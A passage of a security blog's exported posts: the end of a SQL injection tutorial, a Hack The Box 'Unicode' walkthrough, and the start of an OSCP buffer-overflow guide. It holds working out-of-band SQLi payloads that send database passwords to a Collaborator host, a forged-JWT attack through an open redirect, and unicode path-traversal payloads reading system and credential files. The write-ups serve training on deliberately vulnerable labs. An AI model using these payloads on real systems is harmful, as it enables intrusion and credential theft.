TrackingId=G81claGlO3CbfGMs\u0026#39;||(SELECT+extractvalue(xmltype(\u0026#39;\u0026lt;%3fxml+version%3d\u0026#34;1.0\u0026#34;+encoding%3d\u0026#34;UTF-8\u0026#34;%3f\u0026gt;\u0026lt;!DOCTYPE+root+[+\u0026lt;!ENTITY+%25+remote+SYSTEM+\u0026#34;http%3a//x20bulbo11nk2zeol7ybq7y1lsrjf8.oastify.com/\u0026#34;\u0026gt;+%25remote%3b]\u0026gt;\u0026#39;),\u0026#39;/l\u0026#39;)+FROM+dual)-- We can see that it worked by taking a look at our BurpSuite collaborator client.\nNice, we now know that the vulnerability exists. Now that we know that we can send DNS requests to our domain, we can use DNS to exfiltrate data from the target database. To do this, we can use one of the payloads described in BurpSuite's SQLi cheatsheet.\n1// Oracle 2SELECT extractvalue(xmltype(\u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt;\u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY % remote SYSTEM \u0026#34;http://\u0026#39;||(SELECT YOUR-QUERY-HERE)||\u0026#39;.BURP-COLLABORATOR-SUBDOMAIN/\u0026#34;\u0026gt; %remote;]\u0026gt;\u0026#39;),\u0026#39;/l\u0026#39;) FROM dual 3 4// Microsoft 5declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec(\u0026#39;master..xp_dirtree \u0026#34;//\u0026#39;+@p+\u0026#39;.BURP-COLLABORATOR-SUBDOMAIN/a\u0026#34;\u0026#39;) 6 7// PostgreSQL 8create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := \u0026#39;copy (SELECT \u0026#39;\u0026#39;\u0026#39;\u0026#39;) to program \u0026#39;\u0026#39;nslookup \u0026#39;||p||\u0026#39;.BURP-COLLABORATOR-SUBDOMAIN\u0026#39;\u0026#39;\u0026#39;; execute c; END; $$ language plpgsql security definer; SELECT f(); 9 10// MySQL 11SELECT YOUR-QUERY-HERE INTO OUTFILE \u0026#39;\\\\\\\\BURP-COLLABORATOR-SUBDOMAIN\\a\u0026#39; As we know we are dealing with an Oracle backend, we will be modifying the Oracle query in order to find out the password of the administrator user within the users table. Let's first ensure that our payload is working correctly, by trying to read \u0026quot;DUMMY\u0026quot; from the dual table. In order to execute this yourself, you have to URL encode it first.\n1GET /product?productId=4 HTTP/1.1 2Cookie: TrackingId=KQ2oEZVx9N2610IM\u0026#39;||(SELECT extractvalue(xmltype(\u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt;\u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY % remote SYSTEM \u0026#34;http://\u0026#39;||(DUMMY)||\u0026#39;.gcwu44l7bkx3cio7vq8u0q8kvb16pv.oastify.com/\u0026#34;\u0026gt; %remote;]\u0026gt;\u0026#39;),\u0026#39;/l\u0026#39;) FROM dual)-- Which works, as we see a request sent to our Collaborator client. Now we can modify the payload to retrieve the password from the users table, where the username equals administrator. To do this, we create the following payload.\n1GET /product?productId=4 HTTP/1.1 2Cookie: TrackingId=KQ2oEZVx9N2610IM\u0026#39;||(SELECT extractvalue(xmltype(\u0026#39;\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt;\u0026lt;!DOCTYPE root [ \u0026lt;!ENTITY % remote SYSTEM \u0026#34;http://\u0026#39;||(password)||\u0026#39;.gcwu44l7bkx3cio7vq8u0q8kvb16pv.oastify.com/\u0026#34;\u0026gt; %remote;]\u0026gt;\u0026#39;),\u0026#39;/l\u0026#39;) FROM users WHERE username=\u0026#39;administrator\u0026#39;)-- Which we URL-encode and execute.\n1GET /product?productId=4 HTTP/1.1 2Cookie: TrackingId=KQ2oEZVx9N2610IM\u0026#39;||(SELECT+extractvalue(xmltype(\u0026#39;\u0026lt;%3fxml+version%3d\u0026#34;1.0\u0026#34;+encoding%3d\u0026#34;UTF-8\u0026#34;%3f\u0026gt;\u0026lt;!DOCTYPE+root+[+\u0026lt;!ENTITY+%25+remote+SYSTEM+\u0026#34;http%3a//\u0026#39;||(password)||\u0026#39;.gcwu44l7bkx3cio7vq8u0q8kvb16pv.oastify.com/\u0026#34;\u0026gt;+%25remote%3b]\u0026gt;\u0026#39;),\u0026#39;/l\u0026#39;)+FROM+users+WHERE+username%3d\u0026#39;administrator\u0026#39;)-- We get a hit in our Collaborator client. As we can infer from our payload, we are selecting the password from the user table, where username is administrator. This password is then added to the HTTP request sent to our Collaborator in the http://password.domain/ format. When we take a look at the HTTP request that was sent to our client, we can see that we indeed got a response with this format.\n1GET / HTTP/1.0 2Host: twgrje8b6tavpoq1wpfj.gcwu44l7bkx3cio7vq8u0q8kvb16pv.oastify.com 3Content-Type: text/plain; charset=utf-8 Indicating that the password is \u0026quot;twgrje8b6tavpoq1wpfj\u0026quot;.\nHow to Prevent SQL-injection Attacks Now that we have seen some very basic and a few more advanced SQLi attacks, it is time to discuss how to prevent these vulnerabilities. There are four main ways of preventing SQLi, which are described within the SQL Injection Prevention Cheat Sheet which is available here. The cheatsheet describes the following 4 methods as its primary defenses.\nUse of prepared statements (with parameterized queries) Use of properly constructed stored procedures Allow-list input validation Escaping all user supplied input Let's briefly discuss these four defenses.\nUse of Prepared Statements The most important manner in which SQLi attacks can be prevented is through the careful use of parameterized queries, which ensure that user input cannot interfere with the structure of the intended SQL query. I'll use PortSwigger's example to illustrate this point. The following statement is vulnerable, because it allows users to directly supply user input within the SQL query.\n1String query = \u0026#34;SELECT * FROM products WHERE category = \u0026#39;\u0026#34;+ input + \u0026#34;\u0026#39;\u0026#34;; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query); By parameterizing this query, we can prevent users from interfering with the structure of the query, and thus prevent SQLi.\n1PreparedStatement statement = connection.prepareStatement(\u0026#34;SELECT * FROM products WHERE category = ?\u0026#34;); statement.setString(1, input); ResultSet resultSet = statement.executeQuery(); Use of Properly Constructed Stored Procedures Stored procedures encapsulate query code at the server, rather than inside your application. This allows you to make changes to queries without having to recompile your application.\nStored procedures only directly prevent SQL injection if you call them in a paramerized way. If you still have a string in your application with the procedure name and concatenate parameters from user input to that string in your code you'll still be vulnerable to SQLi.\nHowever, when used exclusively, stored procedures let you add some additional protection by making it possible for you to disable permissions to everything but the EXEC command. Aside from this, parameterized queries/prepared statements are normally cached by the server, and so are just like a stored procedure in nearly every respect.\nAllow-list Input Validation By creating an allow-list of allowed table names and methods, the application can automatically either accept or deny user inputs that contain specific table names or functions and thus perform input validation. The example provided below is taken from here, and shows how table name validation is handled in code.\n1String tableName; 2 3switch(PARAM): 4 case \u0026#34;Value1\u0026#34;: tableName = \u0026#34;fooTable\u0026#34;; 5 break; 6 case \u0026#34;Value2\u0026#34;: tableName = \u0026#34;barTable\u0026#34;; 7 break; 8 ... 9 default : throw new InputValidationException(\u0026#34;unexpected value provided\u0026#34; + \u0026#34; for table name\u0026#34;); When a table name is supplied that's not allowed to be requested, an exception is thrown.\nEscaping All User Supplied Input Finally we have the fourth defense mechanism, which is the implementation of proper escaping for all user supplied input. This should be used as a last resort, because escaped user input can sometimes be bypassed, and make a query vulnerable again. This defense should not be implemented without the three methods described above. By escaping user input, one can escape all possible bad characters from user supplied input, making any SQLi payload harmless.\nConclusion Thanks for reading through my SQLi tutorial/blog/walkthrough or whatever category this may be categorized into. I hope it was just as valueable for you to read as it was for me to write. The next article in this series will discuss Authentication (bypasses). Don't forget to go through the challenges provided by BurpSuite's academy yourself, as they are very useful in understanding the more complex topics.\n","link":"https://aegrah.github.io/post/2022-05-11-web-application-hacking-sql-injection.html","section":"post","tags":["OWASP","Webapp"],"title":"Web Application Hacking - SQL Injection"},{"body":"Hello everyone, today we are going to take a look at Unicode from Hack The Box. Unicode is a medium box that involves JWT manipulation, local file inclusion and a custom made application that can be used to access the root flag.\nFoothold As usual, we start off with an nmap scan to enumerate all ports, services and their versions.\n1nmap -sC -sV -p- -oA nmap/initial unicode.htb Which provides us with the following results. Port 80 and port 22 are open.\n1PORT STATE SERVICE VERSION 222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 3| ssh-hostkey: 4| 3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA) 5| 256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA) 6|_ 256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519) 780/tcp open http nginx 1.18.0 (Ubuntu) 8|_http-title: 503 9|_http-server-header: nginx/1.18.0 (Ubuntu) 10Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Port 22 is running an up-to-date version of SSH, so we will ignore it. Let's visit the web service on port 80. When navigating to the webpage, we are greeted with a homepage that allows us to login and register an account. We register an account and login onto the platform.\nThe page allows us to upload threat reports in pdf format. Let's create a dummy pdf file by changing the file extension to .pdf, and upload it. I use BurpSuite to intercept the requests. After clicking \u0026quot;submit\u0026quot; we see a \u0026quot;Thank You!\u0026quot; page pop up. Let's look at the request that was sent to the server.\n1POST /upload/ HTTP/1.1 2Host: 10.129.112.121 3Content-Length: 199 4Cache-Control: max-age=0 5Upgrade-Insecure-Requests: 1 6Origin: http://10.129.112.121 7Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7wYS2UCanGIcgCS3 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 10Referer: http://10.129.112.121/upload/ 11Accept-Encoding: gzip, deflate 12Accept-Language: en-US,en;q=0.9 13Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoiYWVncmFoIn0.LGwha066KOibtf_2cKPsz980i1ndLz38FWnyV8BiK9yYZ9oza1SlTuDznaQUzkMFtsIPdn1Y5-JRFZlH-PE4vVfvZnvbKsKiN3iQgI-QQrVmbelWcjXqKoUZ24JyxHej6Azwn9eh0JcPW6BIvfEAps7o5jR4x8xNKnXtVkpWP-rtw9UQVh1SNFtu86s7kcPriSEOmEq6s8SPSimAkNXDzaqPdZ1vg3MbGGQn09PTuLpTAiGW2CsJkDfYme_WDL5pV1MBf7AGGNNDdAcGkZWO4gDOsS_ylK5r7m8rtC2j2mmtlBTUDrZ6Hq83Vmt3RBA-W43GYnb1vUwRpaXmKPPDag 14Connection: close 15 16------WebKitFormBoundary7wYS2UCanGIcgCS3 17 18Content-Disposition: form-data; name=\u0026#34;threat_report\u0026#34;; filename=\u0026#34;file.pdf\u0026#34; 19 20Content-Type: application/pdf 21 22hi 23 24------WebKitFormBoundary7wYS2UCanGIcgCS3-- Right away I notice the length of the auth cookie, and notice that it could be base64 encoded. Let's decode it and see what it contains.\n1echo -n \u0026#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoiYWVncmFoIn0.LGwha066KOibtf_2cKPsz980i1ndLz38FWnyV8BiK9yYZ9oza1SlTuDznaQUzkMFtsIPdn1Y5-JRFZlH-PE4vVfvZnvbKsKiN3iQgI-QQrVmbelWcjXqKoUZ24JyxHej6Azwn9eh0JcPW6BIvfEAps7o5jR4x8xNKnXtVkpWP-rtw9UQVh1SNFtu86s7kcPriSEOmEq6s8SPSimAkNXDzaqPdZ1vg3MbGGQn09PTuLpTAiGW2CsJkDfYme_WDL5pV1MBf7AGGNNDdAcGkZWO4gDOsS_ylK5r7m8rtC2j2mmtlBTUDrZ6Hq83Vmt3RBA-W43GYnb1vUwRpaXmKPPDag\u0026#34; | base64 -d Which displays the following information.\n1{\u0026#34;typ\u0026#34;:\u0026#34;JWT\u0026#34;,\u0026#34;alg\u0026#34;:\u0026#34;RS256\u0026#34;,\u0026#34;jku\u0026#34;:\u0026#34;http://hackmedia.htb/static/jwks.json\u0026#34;} We are dealing with JSON Web Tokens (JWT). We see that the jku points to \u0026quot;http://hackmedia.htb/static/jwks.json\u0026quot;. The jku (JWK Set URL) Header Parameter is a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS (JSON Web Signature) Source. Let's add hackmedia.htb to our /etc/hosts file and download the jwks.json file.\n1wget http://hackmedia.htb/static/jwks.json The jwks.json contains the following contents.\n1{ 2 \u0026#34;keys\u0026#34;: [ 3 { 4 \u0026#34;kty\u0026#34;: \u0026#34;RSA\u0026#34;, 5 \u0026#34;use\u0026#34;: \u0026#34;sig\u0026#34;, 6 \u0026#34;kid\u0026#34;: \u0026#34;hackthebox\u0026#34;, 7 \u0026#34;alg\u0026#34;: \u0026#34;RS256\u0026#34;, 8 \u0026#34;n\u0026#34;: \u0026#34;AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs\u0026#34;, 9 \u0026#34;e\u0026#34;: \u0026#34;AQAB\u0026#34; 10 } 11 ] 12} Let's do conduct some research into JWT tokens and how to exploit misconfigurations. For this I end up at this hacktricks article. We see that the JWT uses a key identifier (kid), and that it could be vulnerable to token tampering. For this we need to point the jku value to a web service we can monitor, and create our own public key and JWT.\n1openssl genrsa -out keypair.pem 2048 Now we can create a simple python script to generate ourself a JWT. For this we pip install jwcrypto and look at the documentation.\n1from jwcrypto import jwk,jwt 2 3with open(\u0026#34;keypair.pem\u0026#34;, \u0026#34;rb\u0026#34;) as pem: 4 key = jwk.JWK.from_pem(pem.read()) 5 6print(key) 7print(\u0026#34;n:\u0026#34;, key.n) 8print(\u0026#34;e:\u0026#34;, key.e) Which outputs the following token.\n1{\u0026#34;kid\u0026#34;:\u0026#34;IXk1gLQrMtKG-NzkfjPQzNCBEZLsdZ6xduMGDfIHkY8\u0026#34;,\u0026#34;thumbprint\u0026#34;:\u0026#34;IXk1gLQrMtKG-NzkfjPQzNCBEZLsdZ6xduMGDfIHkY8\u0026#34;} 2n: 5Q6n0NrjZEtIn04qtzw7KJFOPBha_Fp6bI51K9nL98EjH5WOtx7GIxZ2ETu0GY_HdecxrmXpJcpbAcBzarInLDVMb6wtnpKoOZ86Zba_EAbOThElEhvx58TZFY7iNwGo50paHTfzRvMxrGGtRiMNgJoB3f4FpOawIRZTJL0twHl0Nqe43lKcGYeOLL1cNV5qf4dbb665ArSdfBYv33Rmu38NUwd-qOBfCkEE-lRw7OmgaFxIJQdrU1KMATXEtOxBXnGAeqg6ALLjdD8q-F6RTBK7zKiym179meHk_y2XYOxpUKObiRebvPY1nwvKfmxbAYtdY-8-KKimf1RVWSZhzQ 3e: AQAB We can now alter the kid and \u0026quot;n\u0026quot; of the existent jwks.json with the contents that we generated. By doing so, our modified jwks.json file looks as follows.\n1{ 2 \u0026#34;keys\u0026#34;: [ 3 { 4 \u0026#34;kty\u0026#34;: \u0026#34;RSA\u0026#34;, 5 \u0026#34;use\u0026#34;: \u0026#34;sig\u0026#34;, 6 \u0026#34;kid\u0026#34;: \u0026#34;IXk1gLQrMtKG-NzkfjPQzNCBEZLsdZ6xduMGDfIHkY8\u0026#34;, 7 \u0026#34;alg\u0026#34;: \u0026#34;RS256\u0026#34;, 8 \u0026#34;n\u0026#34;: \u0026#34;5Q6n0NrjZEtIn04qtzw7KJFOPBha_Fp6bI51K9nL98EjH5WOtx7GIxZ2ETu0GY_HdecxrmXpJcpbAcBzarInLDVMb6wtnpKoOZ86Zba_EAbOThElEhvx58TZFY7iNwGo50paHTfzRvMxrGGtRiMNgJoB3f4FpOawIRZTJL0twHl0Nqe43lKcGYeOLL1cNV5qf4dbb665ArSdfBYv33Rmu38NUwd-qOBfCkEE-lRw7OmgaFxIJQdrU1KMATXEtOxBXnGAeqg6ALLjdD8q-F6RTBK7zKiym179meHk_y2XYOxpUKObiRebvPY1nwvKfmxbAYtdY-8-KKimf1RVWSZhzQ\u0026#34;, 9 \u0026#34;e\u0026#34;: \u0026#34;AQAB\u0026#34; 10 } 11 ] 12} Now we have to create a signed token with the generated key. We use the available code snippet available from jwcrypto.readthedocs.io in conjunction with the code we just wrote.\n1from jwcrypto import jwk,jwt 2 3with open(\u0026#34;keypair.pem\u0026#34;, \u0026#34;rb\u0026#34;) as pem: 4 key = jwk.JWK.from_pem(pem.read()) 5 6Token = jwt.JWT(header={\u0026#34;alg\u0026#34;:\u0026#34;RS256\u0026#34;,\u0026#34;jku\u0026#34;:\u0026#34;http://hackmedia.htb/static/../redirect/?url=10.10.14.67:8000/jwks.json\u0026#34;}, claims={\u0026#34;user\u0026#34;:\u0026#34;admin\u0026#34;}) 7Token.make_signed_token(key) 8Token.serialize() 9print(Token.serialize()) The code above tries to accomplish two things. It tries to impersonate the admin user by adding the \u0026quot;user\u0026quot;:\u0026quot;admin\u0026quot; claims, and it exploits the redirect function available on the webpage to redirect the webpage to our hosted webserver. This redirect misuse was found by looking at the source code of the default http://hackmedia.htb/ webpage, and finding the following href.\n1\u0026lt;a href=\u0026#34;/redirect/?url=google.com\u0026#34; Let's host our webserver on port 8000, and run the python script to print our serialized token.\n1python3 -m http.server 8000 2 3python3 jwt.py We get the following token.\n1eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPWh0dHA6Ly8xMC4xMC4xNC42Nzo4MDAwL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.nvKt8murNM2rOebQ1azCQehowAkrg5_U3WlRa8Byuil-UPmsAP8MyI1OijHg7XNQ9RJvj4RXMQEVQa_iXO_ESbWRMl7fQ2qEWyU6999ho-OXeLVUNhjMCFic_YFPa5C6qUOSk0fLwojhA2cR3NrSpdZ0UcnfGZGRVPhiD_NMIPG_m4QiaFwuIYllFeLk61z9dqCBtDSJfl9zWu51WHcu9gAuUOMb4_RUWABntf8SrQ-hWzoxWhwp3A3D6E8_H9-jzudAr6Nk70sMpXaDdnBdGkMqI4v4PypGKDhqdUIQAP2ewXN92rOGuJSexVfybyCPbmudJs04mDn8v255Tp3KqA Let's now login to the webpage, and change the auth value to our newly generated JWT. I accomplish this by using the cookie editor plugin for firefox, but you can probably also use BurpSuite for this. I change the auth token, and refresh the page.\n110.129.112.121 - - [05/Apr/2022 18:17:13] \u0026#34;GET /jwks.json HTTP/1.1\u0026#34; 200 - And we are greeted with an administrator page! There are two reports saved on the webpage, as the following URLs.\n1http://hackmedia.htb/display/?page=monthly.pdf 2http://hackmedia.htb/display/?page=quarterly.pdf The moment I see this, the first few words that pop to mind are local and remote file inclusion. Let's test for local file inclusion by specifying /etc/passwd as payload. Unfortunately we get a 404 not found. Given the name of the box (Unicode), we should maybe try out unicode encoded file inclusion. I try the following payload:\n1http://hackmedia.htb/display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd And see the following results.\n1root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin sshd:x:112:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false code:x:1000:1000:,,,:/home/code:/bin/bash Nice! We found a local file inclusion vulnerability. We can see that there is a user called \u0026quot;code\u0026quot;. Let's see if he has a private key stored in his home directory.\n1http://hackmedia.htb/display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fhome%ef%bc%8fcode%ef%bc%8f.ssh%ef%bc%8fid_rsa Unfortunately, no luck. We saw from the nmap scan that the web server is hosted on Nginx. Let's take a look at the Nginx configuration to see whether we can find some credentials or other information. Let's take a look at the default site within sites-enabled.\n1GET /display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fnginx%ef%bc%8fsites-enabled%ef%bc%8fdefault HTTP/1.1 Which shows us the following contents.\n1HTTP/1.1 200 OK 2Server: nginx/1.18.0 (Ubuntu) 3Date: Tue, 05 Apr 2022 16:29:53 GMT 4Content-Type: text/html; charset=utf-8 5Connection: close 6Content-Length: 432 7 8limit_req_zone $binary_remote_addr zone=mylimit:10m rate=800r/s; 9 10server{ 11#Change the Webroot from /home/code/app/ to /var/www/html/ 12#change the user password from db.yaml 13 listen 80; 14 error_page 503 /rate-limited/; 15 location / { 16 limit_req zone=mylimit; 17 proxy_pass http://localhost:8000; 18 include /etc/nginx/proxy_params; 19 proxy_redirect off; 20 } 21 location /static/{ 22 alias /home/code/coder/static/styles/; 23 } 24} We can see two comments. One stating that the webroot should be changed from /home/code/app to /var/www/html, and the otherone that the user password from db.yaml has to be changed. Looks like we should try to access the db.yaml file.\n1GET /display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fhome%ef%bc%8fcode%ef%bc%8fcoder%ef%bc%8fdb.yaml HTTP/1.1 Which responds with the following.\n1HTTP/1.1 200 OK 2Server: nginx/1.18.0 (Ubuntu) 3Date: Tue, 05 Apr 2022 16:32:03 GMT 4Content-Type: text/html; charset=utf-8 5Connection: close 6Content-Length: 95 7 8mysql_host: \u0026#34;localhost\u0026#34; 9mysql_user: \u0026#34;code\u0026#34; 10mysql_password: \u0026#34;B3stxxxxx@@!\u0026#34; 11mysql_db: \u0026#34;user\u0026#34; We found credentials! We can test for password reuse by using the username we found in the /etc/passwd file (code), with the password found above.\n1ssh code@unicode.htb And we are in.\nPrivilege Escalation One of the first things to check when getting onto a box for privilege escalation would be sudo -l.\n1code@code:~$ sudo -l 2 3\u0026gt;\u0026gt; User code may run the following commands on code: 4\u0026gt;\u0026gt; (root) NOPASSWD: /usr/bin/treport I run the /usr/bin/treport file, and get the following menu.\n1code@code:~$ sudo /usr/bin/treport 2 31.Create Threat Report. 42.Read Threat Report. 53.Download A Threat Report. 64.Quit. 7 8Enter your choice:4 We try to use option 2, and see that we are allowed to input file names to read. We attempt to read the root.txt flag.\n1code@code:~$ sudo /usr/bin/treport 2 31.Create Threat Report. 42.Read Threat Report. 53.Download A Threat Report. 64.Quit. 7 8Enter your choice:3 9 10Enter the IP/file_name:/root/root.txt 11 12curl: (3) URL using bad/illegal format or missing URL The tool is picky, and wants us to specify File:///root/root.txt instead as it uses Curl.\n1code@code:~$ sudo /usr/bin/treport 2 31.Create Threat Report. 42.Read Threat Report. 53.Download A Threat Report. 64.Quit. 7 8Enter your choice:3 9 10Enter the IP/file_name:File:///root/root.txt 11 % Total % Received % Xferd Average Speed Time Time Time Current 12 Dload Upload Total Spent Left Speed 13100 33 100 33 0 0 8250 0 --:--:-- --:--:-- --:--:-- 8250 It looks like our file is downloaded. Let's use the tool to read the file.\n1code@code:~$ sudo /usr/bin/treport 2 31.Create Threat Report. 42.Read Threat Report. 53.Download A Threat Report. 64.Quit. 7 8Enter your choice:3 9 10ALL THE THREAT REPORTS: 11threat_report_16_40_40 12 13Enter the filename: threat_report_16_40_40 14 1574fe5exxxxxxxxxxx783a7d5xxxx4f3 And we found our root.txt as well. You could argue that the box is not over before you get an actual root shell, but I'll leave it here, as it seems asif this was the intended route of the box. I hope you enjoyed this walkthrough, and as always, see you at the next one!\n","link":"https://aegrah.github.io/post/2022-04-05-unicode-htb-walkthrough.html","section":"post","tags":["Hack the Box","Linux"],"title":"Hack The Box - Unicode Walkthrough"},{"body":"","link":"https://aegrah.github.io/categories/binary-exploitation.html","section":"categories","tags":null,"title":"Binary Exploitation"},{"body":"","link":"https://aegrah.github.io/tags/buffer-overflow.html","section":"tags","tags":null,"title":"Buffer Overflow"},{"body":"This tutorial is part two of a two part series that focuses on binary exploitation, in particular on x86 stack-based Windows buffer overflows. The first part of the series focuses on the theory behind the topics that will be described in this tutorial, and can be found here. The information provided in this blog is based on the notes and cheatsheets I wrote while studying for the Offensive Security Certified Professional (OSCP) exam. My goal of this series is to make sure everyone (OSCP student or not) can understand and exploit a simple x86 stack-based buffer overflow in Windows.\nOffensive Security announced changes to the structure of the exam, and no longer guarantees the presence of a stack-based buffer overflow during the exam. However, there is still a possibility that a buffer overflow will show up during the exam. As these buffer overflows are very easy as long as you follow a step-by-step approach, I decided to provide this walkthrough in order to help out everyone that still struggles with the buffer overflow.\nListed below you can find some useful resources I used to practice x86 stack-based buffer overflows:\nStep-by-step guide on bufferoverflows by The Cyber Mentor TryHackMe room that can be used to practice OSCP-like buffer overflows by Tib3rius In order to effectively and efficiently complete any simple x86 stack-based Windows buffer overflow (such as the ones within the OSCP-exam), we have to follow a step-by-step approach. The steps include:\nFuzzing and finding the correct offset; Finding bad characters; Finding a jump points; Generating shell code; Exploitation. These steps will be elaborated below.\nSetting up a testing environment Before we can start analyzing the buffer overflow we first have to set up a testing environment with the tools that we are going to need. A basic testing environment that suffices for an OSCP buffer overflow would consist of a Windows 7 or Windows 10 virtual machine with Immunity Debugger installed in conjunction with the Mona extension. Microsoft offers a 90 day trial license for Windows 10 Enterprise here. If you prefer a Windows 7 setup, an image can (at time of writing) be downloaded from here.\nNext up, Immunity Debugger and Python should be installed. Lastly, Mona.py should be downloaded from this github repository, and can be installed according to the provided installation instructions.\nIf you want to dive deeper into the world of buffer overflows, reversing or other (binary) analysis, I would recommend to set up a Windows 10 VM with Mandiant's Flare-VM. Make sure your VM has access to the recommended system resources prior to running the Flare-VM installation script.\nFor the sake of this tutorial and to minimize connectivity issues, I will be working with the pre-setup Windows 7 VM available at Tib3rius' Buffer Overflow Prep room over at TryHackMe. I will be using my own Kali Linux VM to write the Python code at, and use RDP from this VM to access the Windows 7 workstation. Let's take a look at the first step of the process - which is fuzzing the application.\nGetting Started Today we will be starting off with OVERFLOW10, which is part of Tib3rius' Buffer Overflow Prep room over at TryHackMe. You can register an account for free, after which this room becomes available for you. Once you hit \u0026quot;Start Machine\u0026quot;, a Windows VM will be available for you which contains several vulnerable binaries and the necessary tools to exploit them. You can also just download these tools to your own box and analyze/exploit them there.\nAfter launching the machine and downloading the TryHackMe .ovpn configuration file, we can get access to the system by connecting to the VPN.\n1sudo openvpn [username].ovpn Now we can connect to the virtual machine. I personally use rdesktop to do so, as you can provide a directory to your remote desktop session that will be shared between the host and the VM. This enables easy file copying.\n1rdesktop -r disk:tmp=. 10.10.226.144 -u admin -p password As we supplied \u0026quot;-r disk:tmp=.\u0026quot; we now find a drive called \u0026quot;tmp on kali\u0026quot; in our PC overview. We can add files to our current directory on the kali machine and access them at the Windows box, or we can copy files from the Windows box to our Kali VM.\nWhen we take a look at the desktop we can see a folder called \u0026quot;vulnerable-apps\u0026quot;, which contains a sub directory called 